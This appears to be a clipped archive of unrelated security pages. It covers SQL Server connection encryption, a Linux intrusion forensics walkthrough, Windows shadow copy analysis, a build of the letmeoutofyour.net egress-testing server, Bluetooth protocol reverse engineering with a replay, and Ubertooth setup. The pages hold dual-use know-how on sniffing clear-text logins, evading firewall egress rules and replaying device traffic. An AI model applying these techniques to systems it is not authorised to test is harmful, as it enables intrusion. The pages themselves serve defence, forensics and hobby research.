<img src='img/Temp2_7354.png' width='294' height='57' alt='Select Database
Names' />

So, once this statement has been issued and we have the results, it is time to
look at what we captured in Network Monitor. First of all it is important to
understand that we are going to look for a pair of packets, the query we sent
and the results that we got. As we can see below, finding the packet can be
achieved quite quickly as we know a lot about them already. Namely that it
will be using the TDS protocol, and we know where they are originating and
their destinations. Once we have the outbound TDS SQL Batch, we can look into
the payload of this packet, and it becomes very clear what we just asked for.

<img src='img/Temp2_7355.png' width='1087' height='484' alt='Clear Text SQL
Statement' />

Now we just need to locate the Response from the server, again this is easy to
do given what we know. And here we can see that the payload contains quite a
bit of information about the results that we want, additionally we get a bunch
of useful metadata about data types.

<img src='img/Temp2_7358.png' width='1087' height='484' alt='T-SQL Batch
Response' />

The net result of this is that I can glean important information about the
system, directly from the results but also metadata that tells me about the
schema. From the initial query I will get objects and relationships, then from
the response I can get information around the data types that are used along
with the actual data that is being returned to the query. In this case
database names, however it could be sensitive data such as financial, personal
or technical specifications for a new product. If it is in the database and
being queried then it is all fair game.

Real World Example

One scenario where encrypting connections between SQL Server and applications
is for monitoring tools. Typically a monitoring system will pull large amounts
of metadata about a system including server configuration, databases, objects,
etc. By having this obscured, it can make life a lot more difficult for anyone
trying to get details of an environment. So selecting a monitoring tool that
will work in this scenario is very important. If you are using SQL Sentry
Performance Advisor or Event Manager you can be confident of enabling
encrypted connections without impact to the functionality of the monitoring
system.

One thing to consider before setting up TLS for encrypting your SQL Server connections you should read the "SQL Server support for TLS 1.2 – Read This First\!" blog post by Aaron Bertrand \(Twitter | Blog\). It covers important information about which builds support TLS and details on some potential gotchas that you can encounter.
What Are My Options?

There are two main options that will work with SQL Server 2005 and above,
these are IPsec and TLS/SSL. IPsec is a security protocol that operates at
Layer 3 of the OSI model, providing end to end security for the transmission
of data between two systems. Be it Client-Server, Server-Server or Client-
Client.

The other option open to us is to use SSL/TLS between the client application
and SQL Server, again providing end to end security for the connection.
However, unlike IPsec which operates at a low level in the OSI model, SSL/TLS
are implemented in Layer 5.

Both of these will provide a level of protection against attackers between the
client and the server, and it is perfectly possible to combine them to make
life difficult for those attempting to get at the data in the system. When
selecting which option to take it is important to understand how much effort
is involved, for IPsec you would typically be looking to have this setup at
the infrastructure level and need to involve the network admins to get this
working. In the case of securing the SQL Server connections this requires less
work and can commonly be implemented by the DBA team, once you have the
appropriate certificates. Details on the process for configuring SQL Server to
support encrypted connections can be found here in Books Online.

Once this has been configured, as we can see below, it is not possible to
identify the SQL Batch or the Response payloads. We simply see the headers and
the encrypted payload.

<img src='img/Temp2_7356.png' width='1085' height='468' alt='Encrypted TDS
Packet' />

How Does This Impact Security?

While we can clearly see that we can protect our data and database schema by
encrypting our SQL Server connections, it should also be noted that we should
think about protecting some of our admin related queries. If you still have
applications that need to make use of SQL Logins, you will be pleased to know
that SQL Server does not send the username and password in clear text during
the authentication process. However, if you are creating logins, then this
data will be sent in clear text if the connection is not encrypted. So, if I
need to add a SQL Login, I give it a name and then pick a really secure
password that no one can guess.

<img src='img/Temp2_7353.png' width='435' height='69' alt='Create SQL Login'
/>

When we send this command to the SQL Server to create the login, if the
connection is not encrypted, then like with the previous statement we will see
the payload.

<img src='img/Temp2_7357.png' width='1086' height='501' alt='Create Login TDS
Packet' />

As a result our system security is not quite as strong as we would like it to
be, and that secure password that we created for our SQL Login is not so
secure. Anyone who captured the packet with the T-SQL statement creating the
login will now have both the login name, and the password. Additionally they
will know which server it is on and can now go and log in with ease.

Summary

Hopefully by now you will have been convinced that there is a very real need
for using encrypted connections, in order to improve the security of your SQL
Server systems. This is not a silver bullet that will solve all of your
security woes, it should be considered another layer to a larger security
approach. As with anything, it is all about defence-in-depth, from making sure
the doors are locked, all the way through to making sure only the appropriate
users have access. While not the simplest feature to enable, it is not the
most complex, either. With planning and testing this can be made to work very
effectively to help aid in the protection of the data that we manage in our
jobs today.

### Share this post:

  * Click to share on Facebook \(Opens in new window\)
  * Click to share on Twitter \(Opens in new window\)
  * Click to share on Google+ \(Opens in new window\)
  * Click to share on LinkedIn \(Opens in new window\)
  * 

Encrypted Connections security Security Nuggets

  

# Annotated Kernel Tracing HTTP.SYS with BinNavi 3.0 on Vimeo

**Created:**| _9/16/2010 9:50:27 AM_  
---|---  
**Updated:**| _9/16/2010 9:50:54 AM_  
**Author:**| __  
**Tags:**| _bookmark reversing_  
  
<img src='img/Temp2_826.png' />

<img src='img/Temp2_829.png' width='192' height='55' alt='Vimeo' />

  *     * Search Videos
    * Search People
    * Search Groups
    * Search Channels
    * Search Forums
  * Help
    * Help Center
    * Vimeo Basics
    * Community Guidelines
    * Community Forums
    * Developers
  * Explore
    * Categories
    * Groups
    * Channels
    * HD Videos
    * Staff Picks
    * Projects
    * Toys
  * Log In
  * 

<img src='img/Temp2_836.png' width='75' height='75' />

Annotated Kernel Tracing HTTP.SYS with BinNavi 3.0

by jeremy Richards <img src='img/Temp2_825.png' alt='plus' />

8 days ago 8 days ago: Wed, Sep 8, 2010 2:34pm EST \(Eastern Standard Time\)

More

More

See all Show me

jeremy Richards' videos

  * jeremy Richards' videos
  * Staff Picks

<img src='img/Temp2_833.png' />

9\. Reverse Engineering MS10-061 Patch. Finding Chang…

by jeremy Richards

16 hours ago

<img src='img/Temp2_828.png' />

8\. Annotated Kernel Tracing HTTP.SYS with BinNavi 3.0

by jeremy Richards

8 days ago

<img src='img/Temp2_834.png' />

7\. Kernel Tracing HTTP.SYS with BinNavi 3.0

by jeremy Richards

8 days ago

<img src='img/Temp2_831.png' />

6\. In Memory Fuzzing iPhone Device Service

by jeremy Richards

7 months ago

<img src='img/Temp2_830.png' />

5\. In memory fuzzing, the beginning

by jeremy Richards

7 months ago

<img src='img/Temp2_832.png' />

4\. Untitled

by jeremy Richards

7 months ago

<img src='img/Temp2_835.png' />

3\. Remote, unauthenticated check for MS10-012

by jeremy Richards

7 months ago

<img src='img/Temp2_827.png' />

2\. Untitled

by jeremy Richards

7 months ago

<img src='img/Temp2_824.png' />

1\. Installing Dradis 2.0 on Backtrack 4.0 Beta

by jeremy Richards

2 years ago

In this video we setup VirtualKD on the host and client.  
  
We attach the BinNavi 3.0 debugger  
  
We trace a get request  
  
and then locate the get request in the trace data.

#### Credits

  * <img src='img/Temp2_837.png' width='30' height='30' />
jeremy Richards

This conversation is missing your voice. Take five seconds to join Vimeo or
log in.

#### Advertisement

<script language="JavaScript"
src="http://ad.doubleclick.net/adj/5480.iac.vimeo/music;clipid=14806257;tile=1;sz=300x250;s=vm;ord=1781073540?"
type="text/javascript"></script> <noscript><a
href="http://ad.doubleclick.net/jump/5480.iac.vimeo/music;clipid=14806257;tile=1;sz=300x250;s=vm;ord=1781073540?"
target="\_blank"><img
src="http://ad.doubleclick.net/ad/5480.iac.vimeo/music;clipid=14806257;tile=1;sz=300x250;s=vm;ord=1781073540?"></a></noscript>

#### About this video

MP4

00:10:20

  * **1920x1080** , **36.55MB**
  * Uploaded Wed September 08, 2010
  * Please join or log in to download

  * Vimeo: About / Blog / Developers / Jobs / Community Guidelines / Community Forums / Help Center / Site Map / Merchandise / Get Vimeo <img src='img/Temp2_825.png' alt='plus' />
  * Legal: TM + ©2010 Vimeo, LLC. All rights reserved. / Terms of Service / Privacy Statement

# The Listings Package

**Created:**| _12/28/2009 9:49:38 PM_  
---|---  
**Updated:**| _12/28/2009 9:49:58 PM_  
**Author:**| __  
**Tags:**| _Latex_  
  
<img src='img/Temp2_8208' />

# Microsoft Word - Windows 8 Heap Internals\_final.docx - Windows 8 Heap
Internals.pdf

**Created:**| _12/24/2014 4:30:09 PM_  
---|---  
**Updated:**| _12/24/2014 4:30:09 PM_  
**Author:**| __  
**Tags:**| _windows Heap_  
  
<img src='img/Windows 8 Heap Internals.pdf' />

# morning\_picdump\_88\_640\_14.jpg \(JPEG Image, 613x600 pixels\)

**Created:**| _12/29/2011 9:25:44 PM_  
---|---  
**Updated:**| _12/29/2011 9:25:44 PM_  
**Author:**| __  
**Tags:**| __  
  
<img src='img/Temp2_10465.jpg'
alt='http://img.izismile.com/img/img4/20111229/640/morning_picdump_88_640_14.jpg'
/>

# Rob Fuller / letmeoutofyour.net

**Created:**| _9/23/2018 8:45:49 AM_  
---|---  
**Updated:**| _9/23/2018 8:45:49 AM_  
**Author:**| _wishi_  
**Tags:**| _proxy evasion_  
  

  

#  letmeoutofyour.net server build

##  Original Posts

  * Intro: https://malicious.link/post/2012/2012-08-10-let-me-out-of-your-net-intro/
  * Server build: https://malicious.link/post/2012/2012-08-11-let-me-out-of-your-net-server-build/

##  Clients

  * Author: @mubix \- AutoIT3 Client: https://github.com/mubix/post-exploitation/blob/master/win32bins/network/letmeoutofyournet/w00tw00t\_incremental.au3
  * Author: @sensepost \- Go Client "go-out": https://github.com/sensepost/go-out
  * Author: @jAKXX \- PowerShell Client - "lemmeout.ps1": https://github.com/jakxx/Scripts/blob/master/lemmeout.ps1
  * Author: @jAKXX \- Python Client "lemmeout.py": https://github.com/jakxx/Scripts/blob/master/lemmeout.py
  * Author: @lanmaster53 - Python Client "getout.py": https://github.com/lanmaster53/ptscripts/blob/master/getout.py
  * Author: @santosomar \- Bash script: https://github.com/The-Art-of-Hacking/art-of-hacking/blob/master/useful\_commands\_and\_scripts/letmeout.sh

Ansible script to create a clone of https://letmeoutofyour.net

Requirements on system:

  * python
  * aptitude

##  Current lacking features

  * UDP listener
  * Wild card domains for LetsEncrypt

##  Example Run

[code]

    mubix@localhost$ ansible-playbook -i targets.txt lmofy.playbook
    
    PLAY [LetMeOutOfYour.net Server Builder] ************************************************
    
    TASK [Gathering Facts] ******************************************************************
    ok: [50.50.50.50]
    
    TASK [apt : Update repositories cache] **************************************************
    changed: [50.50.50.50]
    
    TASK [apt : Upgrade all packages to the latest version] *********************************
    ok: [50.50.50.50]
    
    TASK [apt : Install required packages] **************************************************
    ok: [50.50.50.50] => (item=[u'nginx', u'iptables', u'letsencrypt', u'sslh'])
    
    TASK [nginx : Generate dhparams] ********************************************************
    ok: [50.50.50.50]
    
    TASK [nginx : Write checkstring to index.html] ******************************************
    ok: [50.50.50.50]
    
    TASK [nginx : Write Nginx Site File] ****************************************************
    ok: [50.50.50.50]
    
    TASK [nginx : Write Nginx SSL Site File] ************************************************
    changed: [50.50.50.50]
    
    TASK [nginx : Restart Nginx Daemon, in all cases] ***************************************
    changed: [50.50.50.50]
    
    TASK [nginx : Add letsencrypt cronjob for cert renewal] *********************************
    ok: [50.50.50.50]
    
    TASK [letsencrypt : Create letsencrypt certificate] *************************************
    ok: [50.50.50.50]
    
    TASK [letsencrypt : Enable Nginx SSL Site] **********************************************
    ok: [50.50.50.50]
    
    TASK [letsencrypt : Reload Nginx Daemon to enable SSL site] *****************************
    changed: [50.50.50.50]
    
    TASK [sslh : Install SSLH Config] *******************************************************
    changed: [50.50.50.50]
    
    TASK [sslh : Set SSH Daemon to Listen on localhost IPv6] ********************************
    changed: [50.50.50.50]
    
    TASK [sslh : Set SSH Daemon to Listen on localhost IPv4] ********************************
    changed: [50.50.50.50]
    
    TASK [sslh : Configure to SSLH Service] *************************************************
    ok: [50.50.50.50]
    
    TASK [iptables : get my public IP] ******************************************************
    ok: [50.50.50.50]
    
    TASK [iptables : Add iptables rule] *****************************************************
    changed: [50.50.50.50]
    
    TASK [Restart SSH Daemon, in all cases] *************************************************
    changed: [50.50.50.50]
    
    TASK [Restart SSLH Daemon, in all cases] ************************************************
    changed: [50.50.50.50]
    
    PLAY RECAP ******************************************************************************
    50.50.50.50              : ok=21   changed=10   unreachable=0    failed=0
    
[/code]

  

# Intro to Linux Forensics

**Created:**| _9/4/2017 9:39:14 AM_  
---|---  
**Updated:**| _9/4/2017 9:39:14 AM_  
**Author:**| _wishi_  
**Tags:**| __  
  

  

##  Intro to Linux Forensics

This article is a quick exercise and a small introduction to the world of
Linux forensics. Below, I perform a series of steps in order to analyze a disk
that was obtained from a compromised system that was running a Red Hat
operating system. I start by recognizing the file system, mounting the
different partitions, creating a super timeline and a file system timeline. I
also take a quick look at the artifacts and then unmount the different
partitions. The process of how to obtain the disk will be skipped but here are
some old but good notes on how to obtain a disk image from a VMware ESX host.

When obtaining the different disk files from the ESX host, you will need the
VMDK files. Then you move them to your Lab which could be simple as your
laptop running a VM with SIFT workstation. To analyze the VMDK files you could
use the “libvmdk-utils” package that contain tools to access data store in
VMDK files. However, another approach would be to convert the VMDK file format
into RAW format. In this way, it will be easier to run the different tools
such as the tools from The Sleuth Kit – which will be heavily used – against
the image. To perform the conversion, you could use the QEMU disk image
utility. The picture below shows this step.

<img src='img/dfir-linux1.png' width='580' height='274' />

Following that, you could list the partition table from the disk image and
obtain information about where each partition starts \(sectors\) using the
“mmls” utility. Then, use the starting sector and query the details associated
with the file system using the “fsstat” utility. As you could see in the
image, the “mmls” and “fsstat” utilities are able to identify the first
partition “/boot” which is of type 0x83 \(ext4\). However, “fsstat” does not
recognize the second partition that starts on sector 1050624.

<img src='img/dfir-linux2.png' width='580' height='377' />

This is due to the fact that this partition is of type 0x8e \(Logical Volume
Manager\). Nowadays, many Linux distributions use LVM \(Logical Volume
Manager\) scheme as default. The LVM uses an abstraction layer that allows a
hard drive or a set of hard drives to be allocated to a physical volume. The
physical volumes are combined into logical volume groups which by its turn can
be divided into logical volumes which have mount points and have a file system
type like ext4.

With the “dd” utility you could easily see that you are in the presence of
LVM2 volumes. To make them usable for our different forensic tools we will
need to create device maps from the LVM partition table. To perform this
operation, we start with “kpartx” which will automate the creation of the
partition devices by creating loopback devices and mapping them. Then, we use
the different utilities that manage LVM volumes such as “pvs”, “vgscan” abd
“vgchange”. The figure below illustrates the necessary steps to perform this
operation.

<img src='img/dfir-linux3.png' width='580' height='333' />

After activating the LVM volume group, we have six devices that map to six
mount points that make the file system structure for this disk. Next step,
mount the different volumes as read-only as we would mount a normal device for
forensic analysis. For this is important to create a folder structure that
will match the partition scheme.

<img src='img/dfir-linux4.png' width='580' height='230' />

After mounting the disk, you normally start your forensics analysis and
investigation by creating a timeline. This is a crucial step and very useful
because it includes information about files that were modified, accessed,
changed and created in a human readable format, known as MAC time evidence
\(Modified, Accessed, Changed\). This activity helps finding the particular
time an event took place and in which order.

Before we create our timeline, noteworthy, that on Linux file systems like
ext2 and ext3 there is no timestamp about the creation/birth time of a file.
There are only 3 timestamps. The creation timestamp was introduced on ext4.
The book “The Forensic Discovery 1st Edition”from Dan Farmer and Wietse Venema
outlines the different timestamps:

  * Last Modification time. For directories, the last time an entry was added, renamed or removed. For other file types, the last time the file was written to.
  * Last Access \(read\) time. For directories, the last time it was searched. For other file types, the last time the file was read.
  * Last status Change. Examples of status change are: change of owner, change of access permission, change of hard link count, or an explicit change of any of the MACtimes.
  * Deletion time. Ext2fs and Ext3fs record the time a file was deleted in the dtime stamp.the filesystem layer but not all tools support it.
  * Creation time: Ext4fs records the time the file was created in crtime stamp but not all tools support it.

The different timestamps are stored in the metadata contained in the inodes.
Inodes are the equivalent of MFT entry number on a Windows world. One way to
read the file metadata on a Linux system is to first get the inode number
using, for example, the command “ls -i file” and then you use “istat” against
the partition device and specify the inode number. This will show you the
different metadata attributes which include the time stamps, the file size,
owners group and user id, permissions and the blocks that contains the actual
data.

Ok, so, let’s start by creating a super timeline. We will use Plaso to create
it. For contextualization Plaso is a Python-based rewrite of the Perl-based
log2timeline initially created by Kristinn Gudjonsson and enhanced by others.
The creation of a super timeline is an easy process and it applies to
different operating systems. However, the interpretation is hard. The last
version of Plaso engine is able to parse the EXT version 4 and also parse
different type of artifacts such as syslog messages, audit, utmp and others.
To create the Super timeline we will launch log2timeline against the mounted
disk folder and use the Linux parsers. This process will take some time and
when its finished you will have a timeline with the different artifacts in
plaso database format. Then you can convert them to CSV format using
“psort.py” utility. The figure below outlines the steps necessary to perform
this operation.

<img src='img/dfir-linux5.png' width='580' height='227' />

Before you start looking at the super timeline which combines different
artifacts, you can also create a traditional timeline for the ext file system
layer containing data about allocated and deleted files and unallocated
inodes. This is done is two steps. First you generate a body file using “fls”
tool from TSK. Then you use “mactime” to sort its contents and present the
results in human readable format. You can perform this operation against each
one of the device maps that were created with “kpartx”. For sake of brevity
the image below only shows this step for the “/” partition. You will need to
do it for each one of the other mapped devices.

<img src='img/dfir-linux6.png' width='580' height='116' />

Before we start the analysis, is important to mention that on Linux systems
there is a wide range of files and logs that would be relevant for an
investigation. The amount of data available to collect and investigate might
vary depending on the configured settings and also on the function/role
performed by the system. Also, the different flavors of Linux operating
systems follow a filesystem structure that arranges the different files and
directories in a common standard. This is known as the Filesystem Hierarchy
Standart \(FHS\) and is maintained here. Its beneficial to be familiar with
this structure in order to spot anomalies. There would be too much things to
cover in terms of things to look but one thing you might want to run is the
“chkrootkit” tool against the mounted disk. Chrootkit is a collection of
scripts created by Nelson Murilo and Klaus Steding-Jessen that allow you to
check the disk for presence of any known kernel-mode and user-mode rootkits.
The last version is 0.52 and contains an extensive list of known bad files.

Now, with the supertimeline and timeline produced we can start the analysis.
In this case, we go directly to timeline analysis and we have a hint that
something might have happened in the first days of April.

During the analysis, it helps to be meticulous, patience and it facilitates if
you have comprehensive file systems and operating system artifacts knowledge.
One thing that helps the analysis of a \(super\)timeline is to have some kind
of lead about when the event did happen. In this case, we got a hint that
something might have happened in the beginning of April. With this
information, we start to reduce the time frame of the \(super\)timeline and
narrowing it down. Essentially, we will be looking for artifacts of interest
that have a temporal proximity with the date. The goal is to be able to
recreate what happen based on the different artifacts.

After back and forth with the timelines, we found some suspicious activity.
The figure below illustrates the timeline output that was produced using “fls”
and “mactime”. Someone deleted a folder named “/tmp/k” and renamed common
binaries such as “ping” and “ls” and files with the same name were placed in
the “/usr/bin” folder.

<img src='img/dfir-linux7.png' width='580' height='329' />

This needs to be looked further. Looking at the timeline we can see that the
output of “fls” shows that the entry has been deleted. Because the inode
wasn’t reallocated we can try to see if a backup of the file still resides in
the journaling. The journaling concept was introduced on ext3 file system. On
ext4, by default, journaling is enabled and uses the mode “data=ordered”. You
can see the different modes here. In this case, we could also check the
options used to mount the file system. To do this just look at “/etc/fstab”.
In this case we could see that the defaults were used. This means we might
have a chance of recovering data from deleted files in case the gap between
the time when the directory was deleted and the image was obtained is short.
File system journaling is a complex topic but well explained in books like
“File system forensics” from Brian Carrier. This SANS GCFA paper from Gregorio
Narváez also covers it well. One way you could attempt to recover deleted data
is using the tool “extundelete”. The image below shows this step.

<img src='img/dfir-linux111.png' width='580' height='150' />

The recovered files would be very useful to understand more about what
happened and further help the investigation. We can compute the files MD5’s,
verify its contents and if they are known to the NSLR database or Virustotal.
If it’s a binary we can do strings against the binary and deduce functionality
with tools like “objdump” and “readelf”. Moving on, we also obtain and look at
the different files that were created on “/usr/sbin” as seen in the timeline.
Checking its MD5, we found that they are legitimate operating system files
distributed with Red Hat. However, the files in “/bin” folder such as “ping”
and “ls” are not, and they match the MD5 of the files recovered from “/tmp/k”.
Because some of the files are ELF binaries, we copy them to an isolated system
in order to perform quick analysis. The topic of Linux ELF binary analysis
would be for other time but we can easily launch the binary using “ltrace -i”
and “strace -i” which will intercept and record the different function/system
calls. Looking at the output we can easily spot that something is wrong. This
binary doesn’t look the normal “ping” command, It calls the fopen\(\) function
to read the file “/usr/include/a.h” and writes to a file in /tmp folder where
the name is generated with tmpnam\(\). Finally, it generates a segmentation
fault. The figure below shows this behavior.

<img src='img/dfir-linux9.png' width='580' height='156' />

Provided with this information, we go back and see that this file
“/usr/include/a.h” was modified moments before the file “ping” was
moved/deleted. So, we can check when this “a.h” file was created – new
timestamp of ext4 file system – using the “stat” command. By default, the
“stat” doesn’t show the crtime timestamp but you can use it in conjunction
with “debugfs” to get it. We also checked that the contents of this strange
file are gibberish.

<img src='img/dfir-linux10.png' width='580' height='438' />

So, now we know that someone created this “a.h” file on April 8, 2017 at 16:34
and we were able to recover several other files that were deleted. In addition
we found that some system binaries seem to be misplaced and at least the
“ping” command expects to read from something from this “a.h” file. With this
information we go back and look at the super timeline in order to find other
events that might have happened around this time. As I did mention, super
timeline is able to parse different artifacts from Linux operating system. In
this case, after some cleanup we could see that we have artifacts from
audit.log and WTMP at the time of interest. The Linux audit.log tracks
security-relevant information on Red Hat systems. Based on pre-configured
rules, Audit daemon generates log entries to record as much information about
the events that are happening on your system as possible. The WTMP records
information about the logins and logouts to the system.

The logs shows that someone logged into the system from the IP 213.30.114.42
\(fake IP\) using root credentials moments before the file “a.h” was created
and the “ping” and “ls” binaries misplaced.

<img src='img/dfir-linux12.png' width='580' height='151' />

And now we have a network indicator. Next step we would be to start looking at
our proxy and firewall logs for traces about that IP address. In parallel, we
could continue our timeline analysis to find additional artifacts of interest
and also perform in-depth binary analysis of the files found, create IOC’s
and, for example, Yara signatures which will help find more compromised
systems in the environment.

That’s it for today. After you finish the analysis and forensic work you can
umount the partitions, deactivate the volume group and delete the device
mappers. The below picture shows this steps.

<img src='img/dfir-linux8.png' width='580' height='176' />

Linux forensics is a different and fascinating world compared with Microsoft
Windows forensics. The interesting part \(investigation\) is to get familiar
with Linux system artifacts. Install a pristine Linux system, obtain the disk
and look at the different artifacts. Then compromise the machine using some
tool/exploit and obtain the disk and analyze it again. This allows you to get
practice. Practice these kind of skills, share your experiences, get feedback,
repeat the practice, and improve until you are satisfied with your
performance. If you want to look further into this topic, you can read “The
Law Enforcement and Forensic Examiner’s Introduction to Linux” written by
Barry J. Grundy. This is not being updated anymore but is a good overview. In
addition, Hal Pomeranz has several presentations here and a series of articles
written in the SANS blog, specially the 5 articles written about EXT4.

References:  
Carrier, Brian \(2005\) File System Forensic Analysis  
Nikkel, Bruce \(2016\) Practical Forensic Imaging

### Share this:

  * Twitter
  * Facebook129
  * LinkedIn207
  * Reddit
  * Tumblr
  * Email
  * Google
  * 

 Like

  * <img src='img/27ccafd6e54eb49d6160f5edd640541a.jpg' width='30' height='30' alt='rohithadassanayake' />

One blogger likes this.

### _Related_

Analysis of a Master Boot Record - EternalPetyaIn "Digital Forensics and
Incident Response"

Evidence acquisition - Creating a forensic imageIn "Digital Forensics and
Incident Response"

Digital Forensics – NTFS Metadata Timeline CreationIn "Digital Forensics and
Incident Response"

**Tagged** Linux LVM forensics, Linux timeline, log2timeline, SuperTimeline,
the sleuth kit

  

# Security Braindump: Forensics Analysis: Windows Shadow Copies

**Created:**| _6/8/2010 1:45:43 PM_  
---|---  
**Updated:**| _6/8/2010 1:45:43 PM_  
**Author:**| __  
**Tags:**| _Forensics vulnerability windows environment_  
  

### Forensics Analysis: Windows Shadow Copies

Microsoft Windows Vista and 7 includes the Volume Shadow Copy Service \(VSS\)
which are leveraged by System Restore and Windows Backup features of the
Operating System. By default, this service is turned on and the amount of
backups stored depends on the disk size and settings. There is a potential
wealth of forensic evidence available within Shadow Copies and even though I
am not the first to write about leveraging Shadow Copies for forensic
purposes, I thought it was worth writing a quick post here.  
  
Vssadmin is a command line tool that can be used to display current VSS
backups. To do so, use the syntax **_vssadmin list shadows /for=c:_** \(where
c: is the volume your working with\). Here is an example of the output;  
  

<img src='img/Temp2_7315.png' width='400' height='160' />

  
Make sure to note the Shadow Copy Volume you want to analyze and use it with
Mklink to create a symbolic link to the backup. For example**._mklink /d
C:\shadow\_copy1 \\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\_**\(note:
the trailing back slash as it is needed\). Once created you can browse the
symbolic link as you would any folder and restore files of interest by copying
them out.  
  

<img src='img/Temp2_7316.png' width='400' height='180' />

  
Happy Hunting

# Kodos - The Python Regex Debugger

**Created:**| _1/25/2013 10:45:40 AM_  
---|---  
**Updated:**| _9/27/2013 9:53:23 AM_  
**Author:**| __  
**Tags:**| _Debugging regex_  
  

# **T** he Python Regex Debugger****

  
| **The Python Regular Expression Debugger**  
---|---  
<img src='img/Temp2_4809.gif' width='90%' /> | <img src='img/Temp2_4810.gif' alt='Regex Library' /> The Regex Library aims to be a repository of common reusable regular expression patterns**.** The Regex Library is intergrated into versions 2**.** 1 and greater of Kodos and is accessed by clicking the Regex Library toolbar icon**.** <img src='img/Temp2_4808.gif' /> \- Regex Library icon  
  
Kodos users are encouraged to contribute to the Regex Library**.** Kodos users
can access the Regex Library to gain ideas and possibly solutions from a
diverse set of regular expression patterns**.** The Regex Library contains
complete examples that can be conveniently pasted into the Kodos main window
and can be customized to meet the goals of the user**.** It is my hope that
the Regex Library can grow enormously from the contributions of others**.**  
---|---  
****

# brandonasuncion/Reverse-Engineering-Bluetooth-Protocols

**Created:**| _5/23/2017 1:04:28 PM_  
---|---  
**Updated:**| _5/23/2017 1:04:28 PM_  
**Author:**| __  
**Tags:**| _security tools bluetooth_  
  

  

# Reverse-Engineering a Bluetooth-Enabled Radar Detector

This document outlines the process I went through to reverse-engineer the
Bluetooth protocol of my Cobra iRAD 900 radar detector. My initial goal was to
have my Raspberry Pi 3 interface with the device via bluetooth to handle
alerts _without_ having to use the iOS/Android application, eventually to
serve as a nice interface with my Raspberry Pi "carputer" integration.

I'd say it's also important to note that I had no initial experience with the
Bluetooth protocol, so it was a pretty fun learning experience overall.

## Getting Started

When I first started this project, I had no idea where to begin but with
Google. I knew how to sniff regular web traffic, but bluetooth was a bit of a
black box to me. With some quick searching, I found the PyBluez library as
well as examples on communicating through RFCOMM. I also found several good
resources, including an interesting blog post by Travis Goodspeed.

However, will little guidance on the subject, I also spent a good amount of
time on resources such as this, thinking that Bluetooth LE was what I was
looking for.

## Analyzing the Protocol

Playing around with my old jailbroken iPhone 5, I was able to use BTserver to
log the bluetooth traffic sent and received by my iPhone. Being surrounded by
multiple bluetooth devices, the log files grew quickly, though it was not much
of an issue. Thankfully, the logs were outputted as a .pklg file, making it
easy to filter the relevant packets in WireShark.

Using the packet filter ` bluetooth.src == B8:92:1D:00:3F:61 `, I could see
the raw packets the iOS app was sending to the radar detector. I took a few
sample recordings of the communication between my phone and the radar
detector, some with alerts being generated, and some without.

The bluetooth data is transfered over the RFCOMM protocol. When the devices
first connect, they send some information back and forth \(most likely syncing
settings with the iOS App\). Afterwards, the two devices follow a predictable
pattern between one another. With some time and patience, I was able to
decipher the payloads sent from the radar detector to the iPhone.

**Packet Data:** Radar dector -> iPhone

Item | Value \(hex\) | Size \(bytes\)  
---|---|---  
Preamble | 55 | 1 byte  
Payload size | xx xx | 2 bytes  
Action | xx | 1 byte  
Reserved | 00 | 1 byte  
SEQ | xx | 1 byte  
Reserved | xx xx xx xx xx xx | 6 bytes  
Alert | xx | 1 byte  
Alert Type | xx | 1 byte  
... | ... | ...  
It's important noting that the payload size does not include the first 3
bytes. Also, the SYN packet increments each time, and the response packet must
include an ACK of the same value.

### Forming a Response

After the two devices connect and synchronize settings, the radar detector
sends a packet at regular 1/2 second intervals. The response to the radar
detector is a lot more simple, and is only 9 bytes.

**Response:** iPhone -> Radar detector

Item | Value \(hex\) | Size \(bytes\)  
---|---|---  
Preamble | 55 | 1 byte  
Payload size | xx xx | 2 bytes  
Action | 02 | 1 byte  
Reserved | 00 | 1 byte  
ACK | xx | 1 byte  
Reserved | 00 42 | 2 bytes  
Counter | xx | 1 byte  
I never really figured out what the Counter byte is for, but it decrements by
1 for every response back.

## What about the setting synchronization?

It was not really a priority of mine to figure out and break down those
packets, so I ended up doing a simple replay attack. I exported the packet
information in WireShark as XML, and parsed the data into a Python list
\(stored in packetData.dat\) for further use. Once the main Python script
finds a maching packet, it sends a corresponding response to the radar
detector.

## Files Included

  * /BTServerCaptures - raw data captured with BTServer
  * data.xml - packet data exported by WireShark
  * parseData.py - parses data.xml and saves it as packetData.dat
  * radar.py - rough proof of concept to interface with radar detector

## Contact

Brandon Asuncion - brandon@suncion.tech

If you have any feedback, please let me know\!

## References and Further Reading

  * PyBluez \- Bluetooth Python library
  * PyBluez RFCOMM example \- example using PyBluez to communicate over Bluetooth
  * Bluetooth RFCOMM Reverse Engineering \- Blog post by Travis Goodspeed
  * BTServer \- iOS Bluetooth stack daemon

  

# How to install ubertooth one in Backtrack 5? - Operating Systems

**Created:**| _1/22/2012 7:32:46 PM_  
---|---  
**Updated:**| _1/22/2012 7:32:46 PM_  
**Author:**| __  
**Tags:**| _research DSP bluetooth_  
  

Topics covered include:  
• Installing Ubertooth dependencies/source  
• Building/testing Kismet plugin  
• Installing Wireshark plugin  
The first step is to setup the pyside repository to access precompiled
binaries.  

Code:

[code]

    apt-get install python-software-properties
    add-apt-repository ppa:pyside
    apt-get update
[/code]

\- Download pre-compiled binary dependencies  

Code:

[code]

    apt-get install libnl-dev libusb-1.0-0-dev pyside-tools
[/code]

\- Compile and install PyUSB extension  

Code:

[code]

    wget http://downloads.sourceforge.net/project/pyusb/PyUSB%201.0/1.0.0-alpha-1/pyusb-1.0.0-a1.tar.gz
    tar xvf pyusb-1.0.0-a1.tar.gz
    cd pyusb-1.0.0-a1
    python setup.py install
[/code]

\- Compile and Install libbtbb  

Code:

[code]

    wget http://downloads.sourceforge.net/project/libbtbb/libbtbb.0.5.tgz
    tar xvf libbtb.0.5.tgz
    cd libbtbb
    make
    make install
[/code]

\- Download and extract r238 of Ubertooth source  

Code:

[code]

    wget http://downloads.sourceforge.net/project/ubertooth/ubertooth-r238.tar.gz
    tar xvf ubertooth-r238.tar.gz
[/code]

With all of the dependencies installed, everything should be good to go in
order to run the basic functionality of the Ubertooth adapter. A good test is
to run the include spectrum analyzer:  

Code:

[code]

    cd ubertooth-r238/host/specan_ui
    python specan_ui.py
[/code]

You should see a window pop up with a nifty view of your local 2.4ghz
spectrum.  
\*\*Capturing Bluetooth Packets\*\*  
\- Reset ubertooth by unplugging and plugging it back in  
\- Test packet capture by compiling and running the following  

Code:

[code]

    cd ../bluetooth_rxtx
    make
    ./ubertooth-lap
[/code]

While this provides basic info about the packets flowing over the air, much
more detail is provided via the Kismet plugin.- Prep kismet source in a new
terminal.  

Code:

[code]

